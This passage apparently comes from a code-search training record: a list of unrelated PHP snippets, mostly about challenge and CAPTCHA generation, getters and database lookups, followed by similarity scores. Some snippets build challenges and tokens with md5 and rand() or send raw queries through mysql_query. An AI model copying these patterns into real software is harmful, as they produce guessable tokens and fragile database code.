array_sum($numbers);\n\n return $this->response;\n }", "function findPromotionalChallengeId(){\n\t\t$this->PromotionalChallenge->recursive = -1;\n\t\t$promotional_challenge = $this->PromotionalChallenge->find('first', \n\t\t\tarray(\n\t\t\t\t'conditions' => array(\n\t\t\t\t\t'PromotionalChallenge.title' => strtolower($this->data['Challenge']['title'])\n\t\t\t\t), \n\t\t\t\t'fields' => array(\n\t\t\t\t\t'PromotionalChallenge.id'\n\t\t\t\t)\n\t\t\t)\n\t\t);\n\t\t\n\t\t$untracked_challenge = !($this->data['Challenge']['promotional_challenge_id'] = $promotional_challenge['PromotionalChallenge']['id']);\n\t\t\n\t\tif($untracked_challenge){\n\t\t\treturn 15;\n\t\t} \n\t\t\n\t\treturn $promotional_challenge['PromotionalChallenge']['id'];\n\t}", "function get_challenge(){\n\t$challenge = md5(uniqid(rand(), true));\n\t$_SESSION['challenge'] = $challenge;\n\treturn $challenge;\n}", "public function getChallenge()\n {\n if (empty($this->_challenge))\n {\n $output = $this->postRequest(\n 'identification/securitytoken/challenge',\n [\n 'useEasyLogin' => false,\n 'generateEasyLoginId' => false,\n 'userId' => $this->_username,\n ]\n );\n\n if (!isset($output->links->next->uri))\n throw new Exception('Cannot fetch control number. Check if the username is correct.', 10);\n\n $this->_challenge = $output->challenge;\n $this->_useOneTimePassword = (bool)$output->useOneTimePassword;\n }\n\n return $this->_challenge;\n }", "function getSafenameFromId($challenge_id) {\n $challenges = challenges();\n return $challenges[$challenge_id]['safename'];\n}", "public function pickOne()\n{\n\t$random = rand(0,$this->lengthOne);\n\t$word = $this->oneArray[$random];\n\treturn $word;\n}", "public function generate_challenge() {\n\t\t// Load words from the current language and randomize them\n\t\t$words = Eight::lang('captcha.words');\n\t\tshuffle($words);\n\n\t\t// Loop over each word...\n\t\tforeach($words as $word) {\n\t\t\t// ...until we find one of the desired length\n\t\t\tif(abs(Captcha::$config['complexity'] - strlen($word)) < 2)\n\t\t\t\treturn strtoupper($word);\n\t\t}\n\n\t\t// Return any random word as final fallback\n\t\treturn strtoupper($words[array_rand($words)]);\n\t}", "public function testCreateChallenge()\n {\n }", "public function getChallenge()\n {\n return $this->challenge;\n }", "abstract public function firstInteraction(): string;", "function getChallengeName($challenge_id) {\n $challenges = challenges();\n return $challenges[$challenge_id]['name'];\n}", "function searchReturnCode()\t{\n\t\treturn $this->getRandomRetourCode();\n\t}", "protected function challenge() : string\n {\n switch ($this->guard) {\n case 'api-users':\n return 'jwt-auth';\n };\n }", "public function first(){\n\n //using the above (results) method here\n return $this->results()[0]; //depends on the version of your PHP server\n //return $this->results[0];\n }", "protected static function generate_challenge()\r\n {\r\n // Complexity setting is used as character count\r\n static::$response = static::random(\\max(1, static::$config['complexity']));\r\n \\Session::instance()->set(static::$sessionname, array('code' => static::$response, 'time' => \\TIME));\r\n }", "function isChallenge($challenge_id) {\n $challenges = challenges(true);\n return isset($challenges[$challenge_id]);\n}", "function isChallengeName($challenge_name) {\n foreach (challenges(true) as $key => $challenge) {\n if ($challenge_name == $challenge['name']) {\n return true;\n }\n }\n return false;\n}", "public function getFirstPass()\n {\n return $this->get(self::_FIRST_PASS);\n }", "function get_random_response_id($connect){\n $q='RES'.rand(2000,2999);\n $id=check_response_in_DB($q,$connect); \n return $id;\n}", "private function getChallenge($timestamp) {\n\t\tif ($timestamp === NULL) {\n\t\t\t$timestamp = time();\n\t\t}\n\t\treturn (int) ($timestamp / self::TIMESTAMP_GRANULARITY);\n\t}", "public function getFirstResult();", "public function getFirstResult();", "function challengeSomeone($userID1, $userID2, $mysqli)\n{\n\t//Check if the Challenge is already in the DB\n\tif($stmt = $mysqli->prepare(\"SELECT * FROM PENDING_CHALLENGE WHERE (User_ID_1 = ? AND User_ID_2 = ?) OR (User_ID_1 = ? AND User_ID_2 = ?);\"))\n\t{\n\t\t$stmt->bind_param('iiii', $userID1, $userID2, $userID2, $userID1);\n $stmt->execute();\n $stmt->store_result();\n\t\t//if not insert it\n\t\tif ($stmt->num_rows < 1)\n\t\t{\n if($stmt2 = $mysqli->prepare(\"INSERT INTO PENDING_CHALLENGE(User_ID_1, User_ID_2) VALUES (?,?);\"))\n {\n $stmt2->bind_param('ii', $userID1, $userID2);\n\t $stmt2->execute();\n\t\t\t\treturn true;\n }\n else\n {\n return false;\n }\n }\n }\n else\n {\n return false;\n }\n}", "public function GetMatch ();", "public function testGetChallenge()\n {\n }", "public function getChallengeAccepted(Request $request){\n $user = Auth::user(); \n $game= Game::where(\"player1ID\",\"=\",$user->id)->where(\"gameState\",\"=\",\"playing\")->get();\n if($game == null || $game->count() != 1){\n return response()->json([\n 'success' => false \n ]);\n }\n return response()->json([\n 'success' => true,\n 'data' => $game\n \n ]); \n }", "function generatechallenge(){\n\tsrand();\n\t//create the challenge variable\n\t$challenge=\"\";\n\t//fill the challenge variable\n\tfor($i=0; $i<80; $i++)\n\t{\n\t\t$challenge.=dechex(rand(0,15));\n\t}\n\t$_SESSION['challenge']=$challenge;\n\treturn $challenge;\n}", "public static function first();", "function sendChallenge($data) {\n $ChallengeData = createChallengeDataObj();\n $challengeID = $ChallengeData->createChallenge($data);\n if($challengeID) {\n return array(\"challengeID\" => $challengeID);\n }else {\n return array(\"challengeID\" => \"error\");\n }\n }", "function getFirst() ;", "public function first() {}", "public function first();", "public function first();", "public function first();", "public function first();", "public function first();", "public function first();", "public function first();", "public function first();", "public function getOneSyl() {\n $table = \"eng-1-syl\";\n $sql = \"SELECT * FROM `$table`\";\n $stmt = $this->pdo->prepare($sql);\n $stmt->execute();\n $response = $stmt->fetchAll(PDO::FETCH_ASSOC);\n if ($response) {\n $numberRows = count($response);\n $random = $this->random($numberRows);\n $word = $response[$random][\"word\"];\n return $word;\n }\n else {\n echo \"something is broken\";\n }\n\n // select a random number from 0 to the highest numbered row\n // take that word and return it\n }", "public function firstKey();", "public function firstKey(): ?int;", "public function getFirstCode() {}", "public function getChallengeType()\n {\n return $this->challengeType;\n }", "public static function next() {\n\t\t\n\t\t$db = new DB();\n\n\t\t// loop until we find a record that needs human verification\n\t\twhile(true) {\n\t\t\t$record = $db->selectNextRecord();\n\n\t\t\tif(empty($record)) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// try to pull in details about the record from external services\n\t\t\tLookup::populate($record);\n\n\t\t\t$catId = $record->getCatId();\n\t\t\t$tmdbId = $record->getTmdbId();\n\t\t\t$imdbId = $record->getImdbId();\n\t\t\t\n\t\t\tif(empty($tmdbId) && empty($imdbId)) {\n\t\t\t\t// if record not found in tmdb or imdb, mark as finished and move on\n\t\t\t\t$db->setRecordStatus($catId, 'no');\n\t\t\t} else if(empty($imdbId)) {\n\t\t\t\t// do not attempt to look at a record having a tmdbId but not an imdbId\n\t\t\t\t$db->insertResult($catId, $tmdbId, '', 'no');\n\t\t\t} else {\n\t\t\t\t// we found a record that needs human verification\n\t\t\t\treturn $record;\n\t\t\t}\n\t\t}\n\t}", "public function execute() : ChallengeResponse {\n return $this->request($this->buildUrl());\n }", "public function firstOrFail();", "function return_oneClient($id)\n{\n $row = getOneClient($id);\n if ($row) { }\n return $row;\n}", "public function answer()\n\t{\n\t\tif (!$this->typeResponseCode)\n\t\t\treturn $this->answerTwoHundred($this->data);\n\t\telse\n\t\t\treturn $this->answerThroughHeader($this->data);\n\t}", "public function first(): string;", "function tictactoe_First(){\n\t\t$predicate = \n\t\t\":-include('Minigames/TicTacToe.pl').\n\n\t\tgo :-\n\t\t\twhoIsFirst(Return),\n\t\t\twrite(Return).\";\n $prolog = new Prolog;\n return $prolog->executePredicate($predicate);\n\t}", "function chapchallengeresponse($challenge, $password)\n{\n $hexChallenge = pack(\"H32\", $challenge);\n $response = md5(\"\\0\" . $password . $hexChallenge);\n\n return $response;\n}", "public function matchPromo( )\r\n\t{\t\r\n\t\t$promo = new NewPromoCode( );\r\n\t\t$input = Input::all();\r\n\r\n\t\treturn $promo->matchPromoCode($input);\r\n\t}", "function get_one($string, $customError=\"none\") {\r\n\t$q = mysql_query($string) or report_error(\"get_one\", $string, $customError);\r\n\twhile ($row = mysql_fetch_array($q)) { $result = $row[0]; }\r\n\treturn $result;\r\n}", "public function getRandomOne()\n {\n $allType = $this->horoscopeDictionnary->getAllType();\n $randomKeyType = rand(0, 11);\n $frenchType = $this->horoscopeDictionnary->getTypeEnglishToFrench($allType[$randomKeyType]);\n\n return $this->getByKey($frenchType);\n }", "public function single($id)\n {\n return new ChallengeResource(Challenge::findOrFail($id));\n }", "public function findFirst();", "public function getDifficulty();", "public function getLowestRecPPEM() {}", "function return_oneClientByMel($mel)\n{\n if (strlen($mel) > 0) {\n return getOne($mel, \"bav_client\", \"cli_emel\");\n }\n}", "protected function _getNextCode() {}", "public abstract function findFirst(): Optional;", "public function getAlternate() {}", "function getMatchingUser($submittedUser)\n{\n foreach( getUsers() as $user)\n {\n if( $submittedUser == sha1($user[\"email\"]) )\n {\n return $user;\n }\n }\n}", "public function first(): mixed;", "public function first(): mixed;", "public function getMatch();", "function get_next_molecule($question_id,$user_id){\n\t\tglobal $mysqli_gamedb;\n\n\t\t$query = \"SELECT * FROM Gamequestions WHERE idpackage=(SELECT idpackage FROM Gamequestions WHERE id=\".$question_id.\")\";\n\n\t\t$questions = array();\n\n\t\tif($result = $mysqli_gamedb->query($query)){\n\t\t\twhile($array = $result->fetch_assoc()){\n\t\t\t\t$questions[] = $array;\n\t\t\t}\n\t\t\t$result->close();\n\n\t\t\t$good_questions = array();\n\t\t\t\n\t\t\tforeach($questions as $question){\n\t\t\t\tif($question[\"answerstatus\"] == 'empty'){\n\t\t\t\t\t$good_questions[] = $question;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(!count($good_questions)){\n\t\t\t\tforeach($questions as $question){\n\t\t\t\t\tif($question[\"answerstatus\"] == 'wrong'){\n\t\t\t\t\t\t$good_questions[] = $question;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif(count($good_questions)>0){\n\t\t\t\t$index = rand(0,count($good_questions)-1);\n\t\t\t\t//var_dump($good_questions[$index]);\n\t\t\t\tstore_new_answer($good_questions[$index][\"id\"], $user_id);\n\t\t\t\treturn get_pdb_name($good_questions[$index][\"idmolecule\"]);\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\treturn null;\n\t\t}\n\t}", "public function findRandom();", "protected function getOneTest()\n {\n $endpoint = $this->getPluralName();\n $responseKey = $this->getCamelCasedPluralName();\n $loader = $this->getDataLoader();\n $data = $loader->getOne();\n $returnedData = $this->getOne($endpoint, $responseKey, $data['user']);\n $this->compareData($data, $returnedData);\n\n return $returnedData;\n }", "private function getNext()\n {\n $this->result = null;\n // Load next result if there's a next token or it's the first request.\n if (!$this->requestCount || $this->nextToken) {\n $this->loadNextResult();\n }\n\n return $this->result;\n }", "function getUnusedCode()\n{\n $newcode = createLuhnCheckedRandomString(10);\n\n// while the new string exists, get a new code\n while (file_exists('results/' . $newcode . '-response.json')) {\n $newcode = createLuhnCheckedRandomString(10);\n }\n\n return $newcode;\n}", "public function first(){\n // return $this->_results[0];\n return $this->results()[0];\n }", "protected function guessThru() {\n\t\t$score = $this->getScoreFromRule();\n\t\t//Yii::trace('Score '.print_r($score, true), 'Scorecard::updateScorecard');\n\t\t$thru = 0;\n\t\twhile($thru < count($score) && $this->isValidScore($score[$thru]))\n\t\t\t$thru++;\n\t\t\t\n\t\tYii::trace('Thru '.$thru, 'Scorecard::updateScorecard');\n\t\treturn $thru;\n\t}", "public function first() {\n\t\t$result = $this->get_result();\n\n\t\treturn array_shift( $result );\n\t}", "function acceptChallenge($data) {\n $ChallengeData = createChallengeDataObj();\n $acceptStatus = $ChallengeData->acceptChallenge($data);\n if($acceptStatus) {\n return array(\"acceptStatus\" => true);\n }else {\n return array(\"acceptStatus\" => false);\n }\n }", "function nextId() {\n\t\treturn $this->honeyPotId++;\n\t}", "public function testGetChallengeTemplate()\n {\n }", "function get_handle( $handle='' )\n\t{\n\t\t//no handle specified, use the main hardcoded block\n\t\tif( !$handle )\n\t\t\treturn $this->main_result;\n\t\telse\n\t\t\treturn $this->results[strval($handle)];\n\t}", "private function generateChallenge()\n {\n //store two random numbers in an array\n $numbers = array(mt_rand(1,4),mt_rand(1,4));\n //store the correct answer in a session\n $_SESSION['challenge'] = $numbers[0] + $numbers[1];\n //convert the numbers to their ASCII\n $converted = array_map('ord', $numbers);\n //generate a math question as HTML markup\n return \"\n <label>&#87;&#104;&#97;&#116;&#32;&#105;&#115;&#32;\n &#$converted[0];&#32;&#43;&#32;&#$converted[1];&#63;\n <input type=\\\"text\\\" name=\\\"s_q\\\" />\n </label>\";\n }", "function searchProtocol()\t{\n\t\treturn $this->getRandomProtocol();\n\t}", "function generateCandiToken($name){\t\n\t$mydate = getdate();\n\t$token = sha1($name.\"candidate\");\n\treturn $token;\n}", "public function findFirst($req){\n\t\treturn current($this->find($req));\n\t}", "function db_getone($sql, $index){\n\t\t$row = $this->db->query($sql)->row_array();\n\t\tif(!empty($row[$index])){\n\t\t\treturn $row[$index];\n\t\t}\n\t}", "public function testUpdateChallenge()\n {\n }", "function uniqueQRCodeToken()\n{\n\t$token = substr(md5(uniqid(rand(), true)),0,32); // creates a 32 digit token\n\t//SELECT * FROM entrp_login where qrCode='70f804625753d84827ef993329c3b1b8'\n $qry = \"SELECT * FROM entrp_login WHERE qrCode='\".$token.\"'\";\n $res=getData($qry);\n $count_res=mysqli_num_rows($res);\n if($count_res > 0)\n {\n uniqueQRCodeToken();\n } \n else \n {\n return $token;\n }\t\n}", "public function getSingleResult()\n {\n }", "function get_single($mysql, $wca, $event) {\n\t$query = sprintf(\"SELECT MIN(Best) AS single FROM Results WHERE Best > 0 AND personId='%s' AND eventId='%s'\",\n\t\t$mysql->real_escape_string($wca),\n\t\t$mysql->real_escape_string($event)\n\t);\n\t$result = $mysql->query($query);\n\t$row = $result->fetch_array();\n\treturn $row[0];\n}", "public function testCreateChallengeTemplate()\n {\n }", "public function First()\n {\n return $this->Results()[0];\n }", "function getAnswer($index = 0)\n\t{\n\t\tif ($index < 0) return NULL;\n\t\tif (count($this->answers) < 1) return NULL;\n\t\tif ($index >= count($this->answers)) return NULL;\n\n\t\treturn $this->answers[$index];\n\t}", "public function getFirst() {}", "function PatternMatching($a_link)\r\n{\r\n\t$con = mysql_connect(\"localhost\",\"Phishsecure\")or die(\"Unable to connect to MySQL\");\r\n\tmysql_select_db(\"phishsecure\", $con);\r\n\t$result2 = mysql_query(\"SELECT surl FROM seedset\");\r\n\twhile($row2 = mysql_fetch_array($result2))\r\n\t{\r\n\t\tif($row2['surl']===$a_link)\r\n\t\t{\r\n\t\t\treturn 3;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$bv = Similarity($row2['surl'], $a_link);\r\n\t\t\tif($bv===true)\r\n\t\t\t{\r\n\t\t\t\t$phishing=2;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$phishing=0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif($phishing === 0)\r\n\t{\r\n\t\t$result3 = mysql_query(\"SELECT wurl FROM whitelist\"); \r\n\t\twhile($row3 = mysql_fetch_array($result3))\r\n\t\t{\r\n\t\t\t$bv = Similarity($row3['wurl'], $a_link);\r\n\t\t\tif($bv===true)\r\n\t\t\t{\r\n\t\t\t\t$phishing=2;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$phishing=0;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tmysql_close($con);\r\n\treturn $phishing;\r\n}", "private function generateNextQuestion(){\n while(true) {\n $id = rand($this->minId, /*$this->maxId*/20);\n\n if (!in_array($id, $this->answeredQuestions)) {\n array_push($this->answeredQuestions,$id);\n return $id;\n }\n }\n }", "private function check()\n {\n if(!empty($this->_type_request))\n {\n // Now see which one to use (username or email)\n switch($this->_type_request)\n {\n case 'username':\n if(!empty($this->_username)){\n // Now check using the username but get the user salt from database first\n $query = $this->pdo->prepare(\"SELECT unique_string_id FROM users WHERE user_name=:username\");\n $query->execute(array(\n ':username' => $this->_username\n ));\n\n if($query->rowCount() == 1)\n {\n $fetch = $query->fetch(PDO::FETCH_ASSOC);\n\n // Now check to see if this person has made a request already\n $check = $this->pdo->prepare(\"SELECT id FROM forgotpassword WHERE user_salt_id=:salt_id\");\n $check->execute(array(\n ':salt_id' => $fetch['unique_string_id']\n ));\n\n if($check->rowCount() == 0)\n {\n $this->_response['code'] = 1;\n return $this->_response;\n }else{\n $this->_response['code'] = 0;\n $this->_response['string'] = \"You've already asked for your password to be reset!\";\n\n return $this->_response;\n }\n }else\n {\n $this->_response['code'] = 0;\n $this->_response['string'] = \"There is no account with this username!\";\n\n return $this->_response;\n }\n }\n break;\n case 'email':\n if(!empty($this->_email)){\n // Now check using the username but get the user salt from database first\n $query = $this->pdo->prepare(\"SELECT unique_string_id FROM users WHERE email=:email\");\n $query->execute(array(\n ':email' => $this->_email\n ));\n\n if($query->rowCount() == 1)\n {\n $fetch = $query->fetch(PDO::FETCH_ASSOC);\n\n // Now check to see if this person has made a request already\n $check = $this->pdo->prepare(\"SELECT id FROM forgotpassword WHERE user_salt_id=:salt_id\");\n $check->execute(array(\n ':salt_id' => $fetch['unique_string_id']\n ));\n\n if($check->rowCount() == 0)\n {\n $this->_response['code'] = 1;\n return $this->_response;\n }else{\n $this->_response['code'] = 0;\n $this->_response['string'] = \"You've already asked for your password to be reset!\";\n\n return $this->_response;\n }\n }else\n {\n $this->_response['code'] = 0;\n $this->_response['string'] = \"There is no account with this email!\";\n\n return $this->_response;\n }\n }\n break;\n }\n }\n }", "public function getHandName($playerHand){\n $result = 'Scissor';\n\n if($playerHand == 1){\n $result = 'Rock';\n }elseif($playerHand == 2) {\n $result = 'Paper';\n }\n return $result;\n\n}" ]
[ "0.6619691", "0.6592669", "0.62603104", "0.6095342", "0.59434855", "0.5808168", "0.5735408", "0.57072943", "0.5655348", "0.5603718", "0.55994", "0.55984277", "0.55733883", "0.55632776", "0.55362314", "0.55061394", "0.5471782", "0.54436666", "0.5415226", "0.5406345", "0.5375625", "0.5351671", "0.5347335", "0.52944493", "0.52136856", "0.5194284", "0.5194284", "0.5171013", "0.5164243", "0.51503295", "0.5135544", "0.5122091", "0.5105273", "0.50860965", "0.50822467", "0.505561", "0.503838", "0.503838", "0.503838", "0.503838", "0.503838", "0.503838", "0.503838", "0.503838", "0.5035936", "0.50191414", "0.50130826", "0.5003125", "0.5002894", "0.49641615", "0.49592698", "0.49589294", "0.49576318", "0.49573034", "0.49545965", "0.49504507", "0.49502453", "0.49497214", "0.49418455", "0.49328405", "0.49326697", "0.49242234", "0.49214303", "0.49187896", "0.49095234", "0.4908487", "0.49001843", "0.4895858", "0.48927575", "0.4882767", "0.4882767", "0.4880409", "0.48796523", "0.48714668", "0.4865601", "0.48605523", "0.4859878", "0.48438317", "0.4839015", "0.4838306", "0.48114282", "0.48057956", "0.48020512", "0.48014188", "0.47977856", "0.47950962", "0.47925335", "0.4785594", "0.47715017", "0.4769952", "0.4766894", "0.47505733", "0.4749083", "0.47472402", "0.47447208", "0.47388077", "0.47381285", "0.47324008", "0.4731857", "0.47142634", "0.4700151" ]
0.0
-1
Get the appointment end time.
public function getEndAtAttribute(): string { $app_slot = $this->doctor->app_slot; return $this->start_at->addMinutes($app_slot)->toDateTimeString(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getEndTime()\n {\n $time = $this->eventdatetime->endtime;\n\n if (empty($time)) {\n return $time;\n }\n\n if ($this->eventdatetime->isRecurring() &&\n isset($this->recurringdate) &&\n $this->recurringdate instanceof \\UNL\\UCBCN\\Event\\RecurringDate\n ) {\n $diff = strtotime($this->eventdatetime->endtime) - strtotime($this->eventdatetime->starttime);\n\n $time = date('Y-m-d H:i:s', strtotime($this->getStartTime()) + $diff);\n }\n\n return $time;\n }", "public function getEndTime()\n {\n return $this->get(self::_END_TIME);\n }", "public function get_end_time() {\r\n\t\tif ( ! isset( $this->end_time ) ) {\r\n\r\n\t\t\tif ( $this->is_endless() ) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\t/**\r\n\t\t\t * The date is stored in the format of Y-m-d H:i:s.\r\n\t\t\t */\r\n\t\t\t$date_time \t= explode( ' ', $this->end_date );\r\n\t\t\t$date \t\t= explode( '-', $date_time[0] );\r\n\t\t\t$time \t\t= explode( ':', $date_time[1] );\r\n\t\t\t$this->end_time = mktime( $time[0], $time[1], $time[2], $date[1], $date[2], $date[0] );\r\n\t\t}\r\n\t\treturn $this->end_time;\r\n\t}", "public function getEndTime() {\n return $this->get(self::ENDTIME);\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function getEndTime()\n {\n return $this->end_time;\n }", "public function get_endtime()\n {\n }", "public function getEnd()\n {\n return $this->end_time;\n }", "public function createAppointmentEndTime()\n {\n $dateTime = strtotime(\"+\" . $this->getEndTimeslot()->getWeight() * 900 . \" seconds\", $this->getAppointmentDate()->format('U'));\n $currentDateTime = new \\DateTime();\n $currentDateTime->setTimestamp($dateTime);\n $this->setHiddenAppointmentEndTime($currentDateTime);\n return;\n }", "function end_time($end_time=null)\n {\n if (isset($end_time)) $this->end_time = $end_time;\n return $this->end_time;\n }", "public function get_end_time()\r\n {\r\n return strtotime('-1 Second', strtotime('+1 Day', $this->get_start_time()));\r\n }", "public function getEndTime()\r\n {\r\n $date = new Zend_Date($this->start_time);\r\n $date->addDay($this->duration);\r\n \r\n return $date->toString(Time_Format::getFullDateTimeFormat());\r\n }", "public function getEndDateTime();", "public function getEndTime();", "public function getEndTime();", "public function getEndTime();", "public function getEndTime()\n {\n return $this->end;\n }", "public function getEndDateTime()\n {\n return $this->endDateTime;\n }", "public function getEndTime()\n {\n return $this->endTime;\n }", "public function getTimeEnd() {\n return $this->time_end;\n }", "public function getTime_end()\n {\n return $this->time_end;\n }", "public function getEndTime() {\n return $this->endTime;\n }", "function get_correct_event_end_time($e_pmv, $__repeatInterval){\n\t\t\t$datetime = new evo_datetime();\n\t\t\treturn $datetime->get_int_correct_event_time($e_pmv, $__repeatInterval, 'end');\t\n\t }", "public function getEndTime() {\r\n\t\treturn $this->endTime;\r\n\t}", "function get_event_end_time($post_id){\n\t\treturn get_post_meta($post_id, '_end_time', true);\n\t}", "public function getEndTimeOffset()\n {\n return $this->end_time_offset;\n }", "public function getEndTime(): int \n {\n return $this->end_time;\n }", "function GetEndTime() {\n return date(\"Y-m-d H:i:s\");\n }", "public function getEndDateTime()\n {\n if (array_key_exists(\"endDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"endDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"endDateTime\"])) {\n return $this->_propDict[\"endDateTime\"];\n } else {\n $this->_propDict[\"endDateTime\"] = new \\DateTime($this->_propDict[\"endDateTime\"]);\n return $this->_propDict[\"endDateTime\"];\n }\n }\n return null;\n }", "public function getTskTimeEnd()\n {\n return $this->tsk_time_end;\n }", "public function getEnd() : \\DateTime\n {\n return new \\Datetime($this->end);\n }", "public function getEndTime(): ?string\n {\n if (count($this->endTime) == 0) {\n return null;\n }\n return $this->endTime['value'];\n }", "public function getEndTimestamp() {}", "function GetEndTimestamp () {\n return $this->hunt_end_timestamp;\n }", "function getEndTime($event) {\n $timer = Filter::get(Timer::timers(), $event);\n if (!empty($timer)) {\n return Filter::get($timer, 'stop');\n }\n return null;\n }", "public function getTimeOutEnd()\n {\n return $this->get(self::_TIME_OUT_END);\n }", "public function getEnd()\n {\n if (array_key_exists(\"end\", $this->_propDict)) {\n if (is_a($this->_propDict[\"end\"], \"\\Beta\\Microsoft\\Graph\\Model\\DateTimeTimeZone\") || is_null($this->_propDict[\"end\"])) {\n return $this->_propDict[\"end\"];\n } else {\n $this->_propDict[\"end\"] = new DateTimeTimeZone($this->_propDict[\"end\"]);\n return $this->_propDict[\"end\"];\n }\n }\n return null;\n }", "public function getTimeEnded()\n {\n if (array_key_exists(\"timeEnded\", $this->_propDict)) {\n if (is_a($this->_propDict[\"timeEnded\"], \"\\DateTime\") || is_null($this->_propDict[\"timeEnded\"])) {\n return $this->_propDict[\"timeEnded\"];\n } else {\n $this->_propDict[\"timeEnded\"] = new \\DateTime($this->_propDict[\"timeEnded\"]);\n return $this->_propDict[\"timeEnded\"];\n }\n }\n return null;\n }", "public function getEndTime(){\n //the object and not return a new one, we\n //need to clone the object and modify a copy\n //so we can keep the original DateTime obj\n $date=clone $this->dateTime;\n $date->add(\\DateInterval::createFromDateString(\"1 hour\"));\n\n return $date;\n }", "public function getAvailabilityEndDateTime()\n {\n if (array_key_exists(\"availabilityEndDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"availabilityEndDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"availabilityEndDateTime\"])) {\n return $this->_propDict[\"availabilityEndDateTime\"];\n } else {\n $this->_propDict[\"availabilityEndDateTime\"] = new \\DateTime($this->_propDict[\"availabilityEndDateTime\"]);\n return $this->_propDict[\"availabilityEndDateTime\"];\n }\n }\n return null;\n }", "public function getEnd()\n {\n return $this->getLatestPeriod()->getEnd();\n }", "public function get_end_date()\n\t{\n\t\treturn $this->end_date;\n\t}", "public function getEndedAt()\n {\n return $this->endedAt;\n }", "public function getEndAt()\n {\n return $this->end_at;\n }", "public function getEndAt()\n {\n return $this->end_at;\n }", "public function getEndOfDayDate()\n {\n return $this->_date->date(null, '23:59:59');\n }", "public function getEnd_date() {\n\t\treturn $this->_end_date;\n\t}", "public function getEndDate() {\n\n return $this->end_date;\n }", "public function getEndTime(): ?string;", "public function set_end_date()\n {\n if ($this->end_date === NULL && $this->start_date === NULL) {\n $this->formated_end_date = \"the game has not started yet\";\n } elseif($this->end_date === NULL && $this->start_date !== NULL) {\n $this->formated_end_date = \"the game is not finished yet\";\n } else {\n $end_date = Carbon::createFromTimestamp($this->end_date / 1000);\n $this->formated_end_date = $end_date->toDayDateTimeString();\n }\n return $this->formated_end_date; \n }", "public function getEndDate()\n {\n if ( ! $this->getData('end_date'))\n {\n return \"-\";\n }\n\n return $this->getData('end_date');\n }", "public function getEndDate()\r\n\t\t{\r\n\t\t\treturn $this->end_date;\r\n\t\t}", "public function getEndOfDayDate()\n\t{\n\t\t$objectManager = \\Magento\\Framework\\App\\ObjectManager::getInstance();\n\n\t\treturn $objectManager->create('\\Magento\\Framework\\Stdlib\\DateTime\\DateTime')->date(null, '23:59:59');\n\t}", "public function getEndTime($date=null){\n\t\t$dateNew = new DateTime($date);\n\t\t$dateNew->setTime(24,59);\n\t\t$dateNew = date_format($dateNew,\"Y-m-d H:i:s\");\n\t\treturn $dateNew;\n\t}", "public function setEndTime($value) {\n return $this->set(self::ENDTIME, $value);\n }", "public function getEndDate() {\r\n $endDate = new \\DateTime('@' . $this->getTimestamp());\r\n\r\n switch($this->getMode()) {\r\n case self::$modeYear:\r\n $endDate->modify('last day of December');\r\n break;\r\n case self::$modeMonth:\r\n $endDate->modify('last day of this month');\r\n break;\r\n case self::$modeWeek:\r\n $date = date('w', $endDate->getTimestamp());\r\n if($date != 0) {\r\n $endDate->modify('next Sunday');\r\n }\r\n break;\r\n case self::$modeDay:\r\n break;\r\n default:\r\n throw new \\Exception(\"ViewMode is not known in ViewCalendar.\");\r\n break;\r\n }\r\n\r\n $endDate->setTime(23, 59, 59);\r\n return $endDate;\r\n }", "public function getReportEndTime()\n {\n return $this->reportEndTime;\n }", "public function getEventEndDate() {\n\t\treturn ($this->eventEndDate);\n\t}", "protected function getEnd()\n {\n return new Zend_Date(\n Mage::getStoreConfig(self::CONFIG_PREFIX . 'end', $this->getStore()),\n $this->getDateTimeFormat(),\n $this->getLocale()->getLocaleCode()\n );\n }", "function getEndDate() \n\t{\n\t\treturn (strlen($this->end_date)) ? $this->end_date : NULL;\n\t}", "public function get_end_interval()\n\t{\n\t\treturn $this->end_interval;\n\t}", "public function getEndedOn(): ?\\DateTime\n {\n return $this->endedOn;\n }", "public function setEndTime($value)\n {\n return $this->set(self::_END_TIME, $value);\n }", "public function getEnd(): ?DateTimeInterface\r\n {\r\n return $this->end;\r\n }", "public function getEndDate()\n {\n return $this->stringToDate((string) $this->json()->end_date);\n }", "public function getFinishTime()\n {\n return $this->finish_time;\n }", "public function getEndOfDay()\n {\n $dateEndUTC = gmdate('Y-m-d 23:59:59', $this->timestamp);\n return Date::factory($dateEndUTC)->setTimezone($this->timezone);\n }", "public static function end_of_day_minutes() {\n $carbon_now = Carbon::now();\n\n return $carbon_now->diffInMinutes($carbon_now->copy()->endOfDay());\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getDateEnd()\n {\n return $this->dateEnd;\n }", "public function getEndWaypoint()\n {\n return $this->end_waypoint;\n }", "protected function parseEndTime() {\n\t\treturn $this->parseTime('endTime', function($a, $b) { return $a > $b; } );\n\t}", "public function getLoadProcessEndTime()\n {\n global $timeend;\n\n // Update the load process end time variable \n $this->_load_process_total_time = timer_stop();\n\n if ( empty( $timeend ) )\n return 